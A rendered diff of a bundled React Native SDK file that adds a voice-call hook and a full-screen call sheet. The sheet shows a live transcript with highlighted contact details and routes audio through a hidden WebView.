const data = JSON.parse(event.nativeEvent.data);
|
|
2123
|
+
console.log("[VoiceWebView] message:", data.type, data.text?.slice?.(0, 50) || data.state || "");
|
|
2124
|
+
switch (data.type) {
|
|
2125
|
+
case "callState":
|
|
2126
|
+
case "call-state":
|
|
2127
|
+
setCallState(data.state);
|
|
2128
|
+
if (data.sessionId) setSessionId(data.sessionId);
|
|
2129
|
+
if (data.error) setError(data.error);
|
|
2130
|
+
break;
|
|
2131
|
+
case "transcript":
|
|
2132
|
+
setTranscript((prev) => [...prev, { role: data.role, text: data.text, ts: Date.now() }]);
|
|
2133
|
+
break;
|
|
2134
|
+
case "aiPartial":
|
|
2135
|
+
setAiPartial(data.text);
|
|
2136
|
+
break;
|
|
2137
|
+
case "userPartial":
|
|
2138
|
+
setUserPartial(data.text);
|
|
2139
|
+
break;
|
|
2140
|
+
case "clearPartials":
|
|
2141
|
+
setAiPartial("");
|
|
2142
|
+
setUserPartial("");
|
|
2143
|
+
break;
|
|
2144
|
+
case "error":
|
|
2145
|
+
setError(data.message);
|
|
2146
|
+
setCallState("error");
|
|
2147
|
+
break;
|
|
2148
|
+
}
|
|
2149
|
+
} catch {
|
|
2150
|
+
}
|
|
2151
|
+
}, []);
|
|
2152
|
+
const startCall = useCallback6(() => {
|
|
2153
|
+
setCallState("connecting");
|
|
2154
|
+
setError(null);
|
|
2155
|
+
setTranscript([]);
|
|
2156
|
+
setAiPartial("");
|
|
2157
|
+
setUserPartial("");
|
|
2158
|
+
}, []);
|
|
2159
|
+
const stopCall = useCallback6(() => {
|
|
2160
|
+
webViewRef.current?.injectJavaScript?.("window.hangUp && window.hangUp(); true;");
|
|
2161
|
+
setCallState("idle");
|
|
2162
|
+
setAiPartial("");
|
|
2163
|
+
setUserPartial("");
|
|
2164
|
+
setMuted(false);
|
|
2165
|
+
}, []);
|
|
2166
|
+
const toggleMute = useCallback6(() => {
|
|
2167
|
+
setMuted((prev) => {
|
|
2168
|
+
const next = !prev;
|
|
2169
|
+
webViewRef.current?.injectJavaScript?.(buildMuteScript(next));
|
|
2170
|
+
return next;
|
|
2171
|
+
});
|
|
2172
|
+
}, []);
|
|
2173
|
+
const getWebViewSource = useCallback6(() => {
|
|
2174
|
+
const token = getToken2();
|
|
2175
|
+
const tenant = getTenant5();
|
|
2176
|
+
const actorId = getUser2()?.actorId || "";
|
|
2177
|
+
return {
|
|
2178
|
+
uri: `${getVoiceApiUrl2()}/app?mode=mini&embedded=rn&authToken=${encodeURIComponent(token || "")}&tenant=${encodeURIComponent(tenant)}&actorId=${encodeURIComponent(actorId)}`
|
|
2179
|
+
};
|
|
2180
|
+
}, []);
|
|
2181
|
+
return {
|
|
2182
|
+
callState,
|
|
2183
|
+
sessionId,
|
|
2184
|
+
error,
|
|
2185
|
+
transcript,
|
|
2186
|
+
aiPartial,
|
|
2187
|
+
userPartial,
|
|
2188
|
+
muted,
|
|
2189
|
+
startCall,
|
|
2190
|
+
stopCall,
|
|
2191
|
+
toggleMute,
|
|
2192
|
+
handleWebViewMessage,
|
|
2193
|
+
getWebViewSource,
|
|
2194
|
+
webViewRef,
|
|
2195
|
+
injectedTrackHook: INJECT_TRACK_HOOK
|
|
2196
|
+
};
|
|
2197
|
+
}
|
|
2198
|
+
|
|
2199
|
+
// src/voice/VoiceCallSheet.tsx
|
|
2200
|
+
import { jsx as jsx15, jsxs as jsxs12 } from "react/jsx-runtime";
|
|
2201
|
+
var fontFam6 = Platform9.OS === "ios" ? "SF Pro Rounded" : void 0;
|
|
2202
|
+
var HIGHLIGHT_PATTERNS = [
|
|
2203
|
+
/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}/g,
|
|
2204
|
+
/(?:\+?\d[\s\-().]?){7,}\d/g,
|
|
2205
|
+
/\$\d[\d,]*(?:\.\d{1,2})?/g,
|
|
2206
|
+
/\b\d{1,2}:\d{2}\s?(?:am|pm|AM|PM)?\b/g,
|
|
2207
|
+
/\bhttps?:\/\/\S+/g,
|
|
2208
|
+
/\b\d{4}[\s-]?\d{4}[\s-]?\d{4}[\s-]?\d{4}\b/g
|
|
2209
|
+
];
|
|
2210
|
+
function highlightSegments(text) {
|
|
2211
|
+
const ranges = [];
|
|
2212
|
+
for (const p of HIGHLIGHT_PATTERNS) {
|
|
2213
|
+
p.lastIndex = 0;
|
|
2214
|
+
let m;
|
|
2215
|
+
while ((m = p.exec(text)) !== null) {
|
|
2216
|
+
ranges.push([m.index, m.index + m[0].length]);
|
|
2217
|
+
}
|
|
2218
|
+
}
|
|
2219
|
+
if (!ranges.length) return [{ text, important: false }];
|
|
2220
|
+
ranges.sort((a, b) => a[0] - b[0]);
|
|
2221
|
+
const merged = [];
|
|
2222
|
+
for (const r of ranges) {
|
|
2223
|
+
if (merged.length && r[0] <= merged[merged.length - 1][1]) {
|
|
2224
|
+
merged[merged.length - 1][1] = Math.max(merged[merged.length - 1][1], r[1]);
|
|
2225
|
+
} else {
|
|
2226
|
+
merged.push([r[0], r[1]]);
|
|
2227
|
+
}
|
|
2228
|
+
}
|
|
2229
|
+
const segments = [];
|
|
2230
|
+
let cursor = 0;
|
|
2231
|
+
for (const [start, end] of merged) {
|
|
2232
|
+
if (start > cursor) segments.push({ text: text.slice(cursor, start), important: false });
|
|
2233
|
+
segments.push({ text: text.slice(start, end), important: true });
|
|
2234
|
+
cursor = end;
|
|
2235
|
+
}
|
|
2236
|
+
if (cursor < text.length) segments.push({ text: text.slice(cursor), important: false });
|
|
2237
|
+
return segments;
|
|
2238
|
+
}
|
|
2239
|
+
function HighlightedText({
|
|
2240
|
+
text,
|
|
2241
|
+
baseStyle,
|
|
2242
|
+
importantStyle
|
|
2243
|
+
}) {
|
|
2244
|
+
const segments = useMemo5(() => highlightSegments(text), [text]);
|
|
2245
|
+
return /* @__PURE__ */ jsx15(Text10, { style: baseStyle, children: segments.map((seg, i) => /* @__PURE__ */ jsx15(Text10, { style: seg.important ? importantStyle : void 0, children: seg.text }, i)) });
|
|
2246
|
+
}
|
|
2247
|
+
function VoiceCallSheet({ visible, onClose }) {
|
|
2248
|
+
const {
|
|
2249
|
+
callState,
|
|
2250
|
+
aiPartial,
|
|
2251
|
+
userPartial,
|
|
2252
|
+
transcript,
|
|
2253
|
+
error,
|
|
2254
|
+
muted,
|
|
2255
|
+
startCall,
|
|
2256
|
+
stopCall,
|
|
2257
|
+
toggleMute,
|
|
2258
|
+
handleWebViewMessage,
|
|
2259
|
+
getWebViewSource,
|
|
2260
|
+
webViewRef,
|
|
2261
|
+
injectedTrackHook
|
|
2262
|
+
} = useVoiceCall();
|
|
2263
|
+
const scrollRef = useRef6(null);
|
|
2264
|
+
useEffect8(() => {
|
|
2265
|
+
if (visible && callState === "idle") startCall();
|
|
2266
|
+
}, [visible]);
|
|
2267
|
+
useEffect8(() => {
|
|
2268
|
+
scrollRef.current?.scrollToEnd?.({ animated: true });
|
|
2269
|
+
}, [transcript.length, aiPartial, userPartial]);
|
|
2270
|
+
const handleHangUp = () => {
|
|
2271
|
+
stopCall();
|
|
2272
|
+
onClose();
|
|
2273
|
+
};
|
|
2274
|
+
const orbState = useMemo5(() => {
|
|
2275
|
+
if (callState === "connecting") return "thinking";
|
|
2276
|
+
if (callState === "error") return "idle";
|
|
2277
|
+
if (aiPartial) return "speaking";
|
|
2278
|
+
if (userPartial) return "listening";
|
|
2279
|
+
return "idle";
|
|
2280
|
+
}, [callState, aiPartial, userPartial]);
|
|
2281
|
+
const statusLabel = useMemo5(() => {
|
|
2282
|
+
if (callState === "connecting") return "Connecting\u2026";
|
|
2283
|
+
if (callState === "error") return error || "Couldn\u2019t connect";
|
|
2284
|
+
if (aiPartial) return "Ada is speaking";
|
|
2285
|
+
if (userPartial) return "Listening";
|
|
2286
|
+
if (callState === "connected") return "Go ahead, I\u2019m here.";
|
|
2287
|
+
return "";
|
|
2288
|
+
}, [callState, aiPartial, userPartial, error]);
|
|
2289
|
+
if (!visible) return null;
|
|
2290
|
+
const visibleEntries = transcript.filter((e) => e.role === "user" || e.role === "ai");
|
|
2291
|
+
return /* @__PURE__ */ jsxs12(
|
|
2292
|
+
SurfaceFullscreen2,
|
|
2293
|
+
{
|
|
2294
|
+
visible,
|
|
2295
|
+
onClose: handleHangUp,
|
|
2296
|
+
status: statusLabel,
|
|
2297
|
+
hero: /* @__PURE__ */ jsx15(AdaOrb3, { size: 180, state: orbState }),
|
|
2298
|
+
closeIcon: "hangup",
|
|
2299
|
+
closeLabel: "End",
|
|
2300
|
+
children: [
|
|
2301
|
+
/* @__PURE__ */ jsxs12(
|
|
2302
|
+
ScrollView,
|
|
2303
|
+
{
|
|
2304
|
+
ref: scrollRef,
|
|
2305
|
+
style: styles13.transcript,
|
|
2306
|
+
contentContainerStyle: styles13.transcriptContent,
|
|
2307
|
+
showsVerticalScrollIndicator: false,
|
|
2308
|
+
children: [
|
|
2309
|
+
callState === "error" && error ? /* @__PURE__ */ jsx15(View14, { style: styles13.errorBox, children: /* @__PURE__ */ jsx15(Text10, { style: styles13.errorText, children: error }) }) : null,
|
|
2310
|
+
visibleEntries.map((entry, i) => /* @__PURE__ */ jsxs12(View14, { style: styles13.entry, children: [
|
|
2311
|
+
/* @__PURE__ */ jsx15(Text10, { style: styles13.role, children: entry.role === "user" ? "YOU" : "ADA" }),
|
|
2312
|
+
/* @__PURE__ */ jsx15(
|
|
2313
|
+
HighlightedText,
|
|
2314
|
+
{
|
|
2315
|
+
text: entry.text,
|
|
2316
|
+
baseStyle: styles13.entryText,
|
|
2317
|
+
importantStyle: styles13.important
|
|
2318
|
+
}
|
|
2319
|
+
)
|
|
2320
|
+
] }, `${entry.ts}-${i}`)),
|
|
2321
|
+
userPartial || aiPartial ? /* @__PURE__ */ jsxs12(View14, { style: styles13.entry, children: [
|
|
2322
|
+
/* @__PURE__ */ jsx15(Text10, { style: styles13.role, children: userPartial ? "YOU" : "ADA" }),
|
|
2323
|
+
/* @__PURE__ */ jsx15(
|
|
2324
|
+
HighlightedText,
|
|
2325
|
+
{
|
|
2326
|
+
text: userPartial || aiPartial,
|
|
2327
|
+
baseStyle: styles13.entryTextLive,
|
|
2328
|
+
importantStyle: styles13.important
|
|
2329
|
+
}
|
|
2330
|
+
)
|
|
2331
|
+
] }) : null
|
|
2332
|
+
]
|
|
2333
|
+
}
|
|
2334
|
+
),
|
|
2335
|
+
callState === "connected" || callState === "connecting" ? /* @__PURE__ */ jsxs12(View14, { style: styles13.muteWrap, pointerEvents: "box-none", children: [
|
|
2336
|
+
/* @__PURE__ */ jsx15(
|
|
2337
|
+
Pressable8,
|
|
2338
|
+
{
|
|
2339
|
+
onPress: toggleMute,
|
|
2340
|
+
accessibilityRole: "button",
|
|
2341
|
+
accessibilityLabel: muted ? "Unmute microphone" : "Mute microphone",
|
|
2342
|
+
accessibilityState: { selected: muted },
|
|
2343
|
+
style: [styles13.muteBtn, muted && styles13.muteBtnActive],
|
|
2344
|
+
hitSlop: 12,
|
|
2345
|
+
children: /* @__PURE__ */ jsxs12(Svg2, { width: 22, height: 22, viewBox: "0 0 24 24", fill: "none", stroke: muted ? ada10.paper : ada10.ink, strokeWidth: 2, strokeLinecap: "round", strokeLinejoin: "round", children: [
|
|
2346
|
+
/* @__PURE__ */ jsx15(Path2, { d: "M12 1a3 3 0 0 0-3 3v8a3 3 0 0 0 6 0V4a3 3 0 0 0-3-3z" }),
|
|
2347
|
+
/* @__PURE__ */ jsx15(Path2, { d: "M19 10v2a7 7 0 0 1-14 0v-2" }),
|
|
2348
|
+
/* @__PURE__ */ jsx15(Line2, { x1: "12", y1: "19", x2: "12", y2: "23" }),
|
|
2349
|
+
/* @__PURE__ */ jsx15(Line2, { x1: "8", y1: "23", x2: "16", y2: "23" }),
|
|
2350
|
+
muted ? /* @__PURE__ */ jsx15(Line2, { x1: "3", y1: "3", x2: "21", y2: "21", stroke: ada10.paper, strokeWidth: 2.4 }) : null
|
|
2351
|
+
] })
|
|
2352
|
+
}
|
|
2353
|
+
),
|
|
2354
|
+
/* @__PURE__ */ jsx15(Text10, { style: styles13.muteLabel, children: muted ? "Muted" : "Mute" })
|
|
2355
|
+
] }) : null,
|
|
2356
|
+
callState !== "idle" && /* @__PURE__ */ jsx15(View14, { style: styles13.hiddenWebView, pointerEvents: "none", children: /* @__PURE__ */ jsx15(
|
|
2357
|
+
WebView3,
|
|
2358
|
+
{
|
|
2359
|
+
ref: webViewRef,
|
|
2360
|
+
source: getWebViewSource(),
|
|
2361
|
+
style: { flex: 1, backgroundColor: "transparent" },
|
|
2362
|
+
onMessage: handleWebViewMessage,
|
|
2363
|
+
onError: (e) => console.log("[VoiceWebView] error:", e.nativeEvent?.description),
|
|
2364
|
+
injectedJavaScriptBeforeContentLoaded: injectedTrackHook,
|
|
2365
|
+
mediaPlaybackRequiresUserAction: false,
|
|
2366
|
+
allowsInlineMediaPlayback: true,
|
|
2367
|
+
mediaCapturePermissionGrantType: "grant",
|
|
2368
|
+
javaScriptEnabled: true,
|
|
2369
|
+
originWhitelist: ["*"]
|
|
2370
|
+
}
|
|
2371
|
+
) })
|
|
2372
|
+
]
|
|
2373
|
+
}
|
|
2374
|
+
);
|
|
2375
|
+
}
|
|
2376
|
+
var styles13 = StyleSheet13.create({
|
|
2377
|
+
transcript: {
|
|
2378
|
+
flex: 1,
|
|
2379
|
+
paddingHorizontal: 28
|
|
2380
|
+
},
|
|
2381
|
+
transcriptContent: {
|
|
2382
|
+
paddingTop: 8,
|
|
2383
|
+
paddingBottom: 16,
|
|
2384
|
+
gap: 14
|
|
2385
|
+
},
|
|
2386
|
+
entry: {
|
|
2387
|
+
flexDirection: "row",
|
|
2388
|
+
gap: 10,
|
|
2389
|
+
alignItems: "flex-start"
|
|
2390
|
+
},
|
|
2391
|
+
role: {
|
|
2392
|
+
fontSize: 10,
|
|
2393
|
+
fontFamily: fontFam6,
|
|
2394
|
+
fontWeight: "700",
|
|
2395
|
+
color: ada10.inkMuted,
|
|
2396
|
+
letterSpacing: 1.4,
|
|
2397
|
+
minWidth: 32,
|
|
2398
|
+
paddingTop: 3,
|
|
2399
|
+
opacity: 0.55
|
|
2400
|
+
},
|
|
2401
|
+
entryText: {
|
|
2402
|
+
flex: 1,
|
|
2403
|
+
fontSize: 14,
|
|
2404
|
+
fontFamily: fontFam6,
|
|
2405
|
+
fontWeight: "400",
|
|
2406
|
+
color: ada10.inkSoft,
|
|
2407
|
+
lineHeight: 20,
|
|
2408
|
+
letterSpacing: -0.1,
|
|
2409
|
+
opacity: 0.42
|
|
2410
|
+
},
|
|
2411
|
+
entryTextLive: {
|
|
2412
|
+
flex: 1,
|
|
2413
|
+
fontSize: 14,
|
|
2414
|
+
fontFamily: fontFam6,
|
|
2415
|
+
fontWeight: "400",
|
|
2416
|
+
color: ada10.inkSoft,
|
|
2417
|
+
lineHeight: 20,
|
|
2418
|
+
letterSpacing: -0.1,
|
|
2419
|
+
opacity: 0.7
|
|
2420
|
+
},
|
|
2421
|
+
important: {
|
|
2422
|
+
fontSize: 17,
|
|
2423
|
+
fontFamily: fontFam6,
|
|
2424
|
+
fontWeight: "700",
|
|
2425
|
+
color: ada10.ink,
|
|
2426
|
+
letterSpacing: -0.1,
|
|
2427
|
+
opacity: 1
|
|
2428
|
+
},
|
|
2429
|
+
errorBox: {
|
|
2430
|
+
backgroundColor: "rgba(239,68,68,0.12)",
|
|
2431
|
+
borderColor: "rgba(239,68,68,0.45)",
|
|
2432
|
+
borderWidth: 1,
|
|
2433
|
+
borderRadius: 10,
|
|
2434
|
+
paddingVertical: 10,
|
|
2435
|
+
paddingHorizontal: 14,
|
|
2436
|
+
marginBottom: 12
|
|
2437
|
+
},
|
|
2438
|
+
errorText: {
|
|
2439
|
+
fontSize: 13,
|
|
2440
|
+
fontFamily: fontFam6,
|
|
2441
|
+
fontWeight: "500",
|
|
2442
|
+
color: "#fca5a5",
|
|
2443
|
+
lineHeight: 18
|
|
2444
|
+
},
|
|
2445
|
+
muteWrap: {
|
|
2446
|
+
position: "absolute",
|
|
2447
|
+
bottom: Platform9.OS === "ios" ? 56 : 40,
|
|
2448
|
+
left: 28,
|
|
2449
|
+
alignItems: "center",
|
|
2450
|
+
gap: 6
|
|
2451
|
+
},
|
|
2452
|
+
muteBtn: {
|
|
2453
|
+
width: 56,
|
|
2454
|
+
height: 56,
|
|
2455
|
+
borderRadius: 28,
|
|
2456
|
+
backgroundColor: ada10.paperSoft,
|
|
2457
|
+
borderWidth: 1,
|
|
2458
|
+
borderColor: ada10.border,
|
|
2459
|
+
justifyContent: "center",
|
|
2460
|
+
alignItems: "center"
|
|
2461
|
+
},
|
|
2462
|
+
muteBtnActive: {
|
|
2463
|
+
backgroundColor: "#C15545",
|
|
2464
|
+
borderColor: "#C15545"
|
|
2465
|
+
},
|
|
2466
|
+
muteLabel: {
|
|
2467
|
+
fontSize: 12,
|
|
2468
|
+
fontFamily: fontFam6,
|
|
2469
|
+
fontWeight: "500",
|
|
2470
|
+
color: ada10.inkMuted,
|
|
2471
|
+
letterSpacing: 0.3
|
|
2472
|
+
},
|
|
2473
|
+
hiddenWebView: {
|
|
2474
|
+
position: "absolute",
|
|
2475
|
+
width: 1,
|
|
2476
|
+
height: 1,
|
|
2477
|
+
top: -100,
|
|
2478
|
+
left: -100,
|
|
2479
|
+
opacity: 0
|
|
2480
|
+
}
|
|
2481
|
+
});
|
|
1833
2482
|
export {
|
|
1834
2483
|
AdasChatScreen,
|
|
1835
2484
|
ChatInput,
|
|
@@ -1841,13 +2490,20 @@ export {
|
|
|
1841
2490
|
Plugin,
|
|
1842
2491
|
PluginSurface,
|
|
1843
2492
|
TableCardBlock,
|
|
2493
|
+
TenantPicker,
|
|
1844
2494
|
TypingIndicator,
|
|
1845
2495
|
UIActionsRow,
|
|
2496
|
+
VoiceCallSheet,
|
|
2497
|
+
WidgetHost,
|
|
1846
2498
|
WidgetWebView,
|
|
1847
2499
|
buildPluginBridgeJS,
|
|
2500
|
+
openWidget,
|
|
1848
2501
|
setClipboardProvider,
|
|
2502
|
+
setPluginWebViewExtraHosts,
|
|
1849
2503
|
setUIActionNavigator,
|
|
1850
2504
|
useLightboxStore,
|
|
1851
|
-
usePluginBridge
|
|
2505
|
+
usePluginBridge,
|
|
2506
|
+
useVoiceCall,
|
|
2507
|
+
useWidgetHostStore
|
|
1852
2508
|
};
|
|
1853
2509
|
//# sourceMappingURL=index.mjs.map
|